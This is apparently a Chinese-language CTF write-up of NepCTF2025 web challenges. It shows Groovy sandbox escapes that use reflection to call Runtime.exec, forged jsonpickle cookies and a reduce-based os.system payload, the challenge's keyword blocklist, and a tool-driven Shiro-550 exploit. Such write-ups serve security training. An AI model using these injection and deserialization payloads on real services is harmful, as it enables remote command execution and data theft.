NepCTF2025

Web

easyGooGooVVVY

考的是沙盒环境的Groovy 表达式注入,发现正常的执行命令的类被过滤掉了,后面想起来可以用反射去打

搜到一篇文章:https://www.cnblogs.com/TWX521/p/17916224.html

1
java.lang.String.class.forName("java.lang.Runtime").getRuntime().exec("whoami").getText()

任意一个内置类的原型类都会有forName这个静态方法,那就很好做了

image-20250725193910495

能回显,然后也没过滤什么命令,直接打就行,flag在env环境变量中

1
java.lang.String.class.forName("java.lang.Runtime").getRuntime().exec("env").getText()

safe_bank

#jsonpickle反序列化

注册登录进去改cookie,本来以为需要注意时间戳什么的,但是直接伪造就行了

1
2
3
4
5
6
7
8
import base64
import time


text = '{{"py/object": "__main__.Session", "meta": {{"user": "admin", "ts": {}}}}}'.format(int(time.time()))

base64_text = base64.b64encode(text.encode('utf-8')).decode('utf-8')
print(base64_text)

然后直接改cookie就拿到admin了

image-20250725201654231

但是是一个假的flag,返回去看cookie,用flask-unsign解密一下发现是jsonpickle的格式

1
2
root@VM-16-12-ubuntu:/tmp# flask-unsign --decode --cookie "eyJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsICJtZXRhIjogeyJ1c2VyIjogIjExMTEiLCAidHMiOiAxNzUzNDQ4Mjg2fX0="
{'py/object': '__main__.Session', 'meta': {'user': '1111', 'ts': 1753448286}}

并且这里带有时间戳,这里需要注意设置一下

一开始尝试读取全局信息的

读取全局信息的方法

1
2
3
{"py/mod": "__main__/x.__dict__"}
{"py/function": "__main__.__dict__"}
{"py/type": "__main__.__dict__"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import json
import time
import base64

# command_to_execute =

payload = {'py/object': '__main__.Session', 'meta': {'user': {"py/type": "__main__.__dict__"}, 'ts': int(time.time())}}

# 将 Python 字典转换为 JSON 字符串
json_payload = json.dumps(payload)

# 将 JSON 字符串编码为 Base64,以便放入 Cookie
final_cookie_value = base64.b64encode(json_payload.encode('utf-8')).decode('utf-8')

print(final_cookie_value)

但是没成功,dick被过滤了

先读一下源码

1
payload = {'py/object': '__main__.Session', 'meta': {'user': {'py/object': 'linecache.getlines', 'py/newargs': ['app.py']}, 'ts': int(time.time())}}

成功拿到源码,拿去整理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time

app = Flask(__name__)
app.secret_key = os.urandom(24)

class Account:
def __init__(self, uid, pwd):
self.uid = uid
self.pwd = pwd

class Session:
def __init__(self, meta):
self.meta = meta

users_db = [
Account("admin", os.urandom(16).hex()),
Account("guest", "guest")
]

def register_user(username, password):
for acc in users_db:
if acc.uid == username:
return False
users_db.append(Account(username, password))
return True

FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
'__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

def waf(serialized):
try:
data = json.loads(serialized)
payload = json.dumps(data, ensure_ascii=False)
for bad in FORBIDDEN:
if bad in payload:
return bad
return None
except:
return "error"

@app.route('/')
def root():
return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')

if not username or not password or not confirm_password:
return render_template('register.html', error="所有字段都是必填的。")

if password != confirm_password:
return render_template('register.html', error="密码不匹配。")

if len(username) < 4 or len(password) < 6:
return render_template('register.html', error="用户名至少需要4个字符,密码至少需要6个字符。")

if register_user(username, password):
return render_template('index.html', message="注册成功!请登录。")
else:
return render_template('register.html', error="用户名已存在。")

return render_template('register.html')

@app.post('/auth')
def auth():
u = request.form.get("u")
p = request.form.get("p")
for acc in users_db:
if acc.uid == u and acc.pwd == p:
sess_data = Session({'user': u, 'ts': int(time.time())})
token_raw = jsonpickle.encode(sess_data)
b64_token = base64.b64encode(token_raw.encode()).decode()
resp = make_response("登录成功。")
resp.set_cookie("authz", b64_token)
resp.status_code = 302
resp.headers['Location'] = '/panel'
return resp
return render_template('index.html', error="登录失败。用户名或密码无效。")

@app.route('/panel')
def panel():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root', error="缺少Token。"))

try:
decoded = base64.b64decode(token.encode()).decode()
except:
return render_template('error.html', error="Token格式错误。")

ban = waf(decoded)
if waf(decoded):
return render_template('error.html', error=f"请不要黑客攻击!{ban}")

try:
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta

if meta.get("user") != "admin":
return render_template('user_panel.html', username=meta.get('user'))

return render_template('admin_panel.html')
except Exception as e:
return render_template('error.html', error=f"数据解码失败。")

@app.route('/vault')
def vault():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root'))

try:
decoded = base64.b64decode(token.encode()).decode()
if waf(decoded):
return render_template('error.html', error="请不要尝试黑客攻击!")
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta

if meta.get("user") != "admin":
return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")

flag = "NepCTF{fake_flag_this_is_not_the_real_one}"

return render_template('vault.html', flag=flag)
except:
return redirect(url_for('root'))

@app.route('/about')
def about():
return render_template('about.html')

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)

前面的代码中可以发现,只要我们的username不是admin,都会把反序列化结果渲染出来,那么这里的话就是唯一的回显点,也是为什么我在username中打的原因

1
2
3
4
5
6
7
8
9
10
def waf(serialized):
try:
data = json.loads(serialized)
payload = json.dumps(data, ensure_ascii=False)
for bad in FORBIDDEN:
if bad in payload:
return bad
return None
except:
return "error"

这里先进行json.loads,又json.dumps指定了ensure_ascii=False,使用特殊编码这里就会报错了,没法玩啊

但是一直绕不过去,unicode编码发现\\被过滤了没法玩,后面我发现这里有一个关键的代码

1
sess_obj = jsonpickle.decode(decoded, safe=True)

开启了safe模式,找到一篇文章:https://xz.aliyun.com/news/16041

**safe=True**:

  • 启用安全模式,限制反序列化的对象范围。
  • 如果设置为 True,只允许反序列化为基本数据类型(如字典、列表、字符串、整数等),避免执行潜在的危险代码(如自定义对象或可执行代码)。
  • 默认值为 False,允许反序列化复杂的 Python 对象。

先本地测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
import jsonpickle
class Exp(object):
def __reduce__(self):
return (__import__('os').system, ('whoami',))

a = Exp()
s = jsonpickle.encode(a)
jsonpickle.decode(s,safe=True)
print(s)
'''
wanth3f1ag\23232
{"py/reduce": [{"py/function": "nt.system"}, {"py/tuple": ["whoami"]}]}
'''

本地发现safe模式下jsonpickle反序列化reduce函数RCE成功,但是waf把reduce过滤了需要另寻出路

RevengeGooGooVVVY

有两份源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
//phase3purifiler.java

package org.example.expressinject.Test.Groovy;

import groovy.lang.Grab;
import groovy.transform.ASTTest;
import org.codehaus.groovy.ast.*;
import org.codehaus.groovy.classgen.GeneratorContext;
import org.codehaus.groovy.control.CompilationFailedException;
import org.codehaus.groovy.control.CompilationUnit;
import org.codehaus.groovy.control.CompilePhase;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.control.customizers.CompilationCustomizer;

import java.lang.annotation.Annotation;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;

public class Phase3Purifiler extends CompilationCustomizer {
private static final List<String> BLOCKED_TRANSFORMS = Collections.unmodifiableList(Arrays.asList(
"ASTTest",
"Grab",
"GrabConfig",
"GrabExclude",
"GrabResolver",
"Grapes",
"AnnotationCollector"
));

public Phase3Purifiler() {
super(CompilePhase.CONVERSION);
}

@Override
public void call(SourceUnit source, GeneratorContext context, ClassNode classNode) throws CompilationFailedException {
new RejectASTTransformsVisitor(source).visitClass(classNode);
}

@Override
public void doPhaseOperation(CompilationUnit unit) throws CompilationFailedException {
super.doPhaseOperation(unit);
}

@Override
public boolean needSortedInput() {
return super.needSortedInput();
}


private static class RejectASTTransformsVisitor extends ClassCodeVisitorSupport {
private SourceUnit source;

public RejectASTTransformsVisitor(SourceUnit source) {
this.source = source;
}

@Override
protected SourceUnit getSourceUnit() {
return source;
}

@Override
public void visitAnnotations(AnnotatedNode node) {
for (AnnotationNode an : node.getAnnotations()) {
for (String blockedAnnotation : BLOCKED_TRANSFORMS) {
if (an.getClassNode().getName().contains(blockedAnnotation)) {
throw new SecurityException("Annotation " + blockedAnnotation + " cannot be used in the sandbox.");
}
}
}
}

@Override
public void visitImports(ModuleNode node) {
if (node != null) {
for (ImportNode importNode : node.getImports()) {
checkImportForBlockedAnnotation(importNode);
}
for (ImportNode importStaticNode : node.getStaticImports().values()) {
checkImportForBlockedAnnotation(importStaticNode);
}
}
}

}

private static void checkImportForBlockedAnnotation(ImportNode node) {
if (node != null && node.getType() != null) {
for (String blockedAnnotation : BLOCKED_TRANSFORMS) {
if (node.getType().getName().contains(blockedAnnotation)) {
throw new SecurityException("Annotation " + node.getType().getName() + " cannot be used in the sandbox.");
}
}
}
}
}


这是一个Groovy编译定制器,用于在编译阶段检查和阻止特定的AST转换注解。就是Groovy 源码刚刚被解析成抽象语法树(AST)之后执行的,我们看看这里的注解黑名单

1
2
3
4
5
6
7
8
9
private static final List<String> BLOCKED_TRANSFORMS = Collections.unmodifiableList(Arrays.asList(
"ASTTest",
"Grab",
"GrabConfig",
"GrabExclude",
"GrabResolver",
"Grapes",
"AnnotationCollector"
));
  • @Grab, @Grapes 等: 这是 Groovy Grapes 依赖管理系统的注解。他们在运行时能从互联网上动态下载并加载任意的 JAR 包
  • @ASTTest: 用于在编译时对 AST 进行测试和断言,可以被滥用来执行任意代码或修改 AST,。
  • @AnnotationCollector: 可以将多个注解“打包”成一个自定义注解,可能被用来隐藏其他被禁止的注解,从而绕过检查。

所以这个代码主要是对一些危险的注解进行一个禁用,防止在AST语法树阶段解析注解的时候会执行自定义注解处理器从而导致一些危险的注解实现代码执行。

我们主要看第二个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//customgroovypurifier.java

package org.example.expressinject.Test.Groovy;

import org.codehaus.groovy.ast.ClassNode;
import org.codehaus.groovy.ast.expr.Expression;
import org.codehaus.groovy.ast.expr.MethodCallExpression;
import org.codehaus.groovy.control.customizers.SecureASTCustomizer;

import java.lang.reflect.Method;
import java.util.*;

public class CustomGroovyPurifier extends SecureASTCustomizer {
private static final Set<String> STRING_METHODS = new HashSet<>();
private SecureASTCustomizer secureASTCustomizer = new SecureASTCustomizer();

public SecureASTCustomizer CreateASTCustomizer() {

secureASTCustomizer.addExpressionCheckers(expr -> {
if (expr instanceof MethodCallExpression) {
MethodCallExpression methodCall = (MethodCallExpression) expr;
Expression objectExpr = methodCall.getObjectExpression();
ClassNode type = objectExpr.getType();
type.getClass();
String typeName = type.getName();
String methodName = methodCall.getMethodAsString();
if (typeName.equals("java.lang.String")) {
if (STRING_METHODS.contains(methodName)) {
return true;
} else {
throw new SecurityException("Calling "+methodName+" on "+ "String is not allowed");
}
}

if (methodName.equals("execute")) {
throw new SecurityException("Calling "+methodName+" on "+ "is not allowed");
}
}
return true;
});
secureASTCustomizer.setClosuresAllowed(false);
return secureASTCustomizer;
}
static {
for (Method method : String.class.getDeclaredMethods()) {
STRING_METHODS.add(method.getName());
}
}

}

这里的话在我们逐步分析

可以看到,secureASTCustomizer.addExpressionCheckers(expr ->这里的话会将我们沙箱中每个表达式都在此进行处理,那我们重点看里面的处理逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (expr instanceof MethodCallExpression) {
MethodCallExpression methodCall = (MethodCallExpression) expr;
Expression objectExpr = methodCall.getObjectExpression();
ClassNode type = objectExpr.getType();
type.getClass();
String typeName = type.getName();
String methodName = methodCall.getMethodAsString();
if (typeName.equals("java.lang.String")) {
if (STRING_METHODS.contains(methodName)) {
return true;
} else {
throw new SecurityException("Calling "+methodName+" on "+ "String is not allowed");
}
}

if (methodName.equals("execute")) {
throw new SecurityException("Calling "+methodName+" on "+ "is not allowed");
}
}
return true;

外层if语句只检查了函数调用表达式something.method()类似的调用,其他类型的表达式都不管

进入if语句后,会获取调用方法的对象类型,调用方法的名字

  • 如果我们调用的是String对象的方法,那么就会触发白名单验证,但是这里没有给出来,如果没在白名单里就会抛出异常
  • 如果我们调用的方法是execute,就会触发黑名单并抛出错误

上面都没有的话就会返回true

方法一:属性访问表达式绕过

其实上面的安全逻辑本来是希望我们只能调用String对象中的方法的,让我们的代码都只能是被当作字符串去调用操作,但是这里明显在外层if语句里存在一个问题,就是这里只检查了函数调用表达式而不管其他类型的表达式

image-20250726031051869

然后可以想到,this.class是属于PropertyExpression属性访问表达式,之前在学习java反序列化的时候就接触过,每个java类运行时都会实例化一个 java.lang.Class 的实例。并且例如我们在脚本中调用方法println的话实际上就是在调用this.println(),所以this.class在脚本中实际上就是在访问该类的对象实例,那么就能间接访问到java.lang.Class 的实例,同时也就绕过第一层if,直接返回true了

1
this.class.forName("java.lang.Runtime").getRuntime().exec("env").getText()

方法二:getClass()方法绕过

1
getClass().forName("java.lang.Runtime").getRuntime().exec("env").getText()

为什么这里可以呢,其实也很简单,因为这里并不符合内层的两个if语句,既不是String对象的方法,也不是execute方法,所以也就不会触发异常抛出,同样可以返回true

image-20250726032302337

JavaSeri

#shiro550

感觉被资本做局了,从题目上线到比赛结束,我每次打开环境都是跳转127.0.0.1,不知道为啥,赛后拿朋友开的环境直接就打开了。。。

image-20250729105943641

看到一个shiro和remember me,直接猜测是shiro550反序列化,拿工具一把梭吧

image-20250729110039455

然后探测利用链并RCE就行了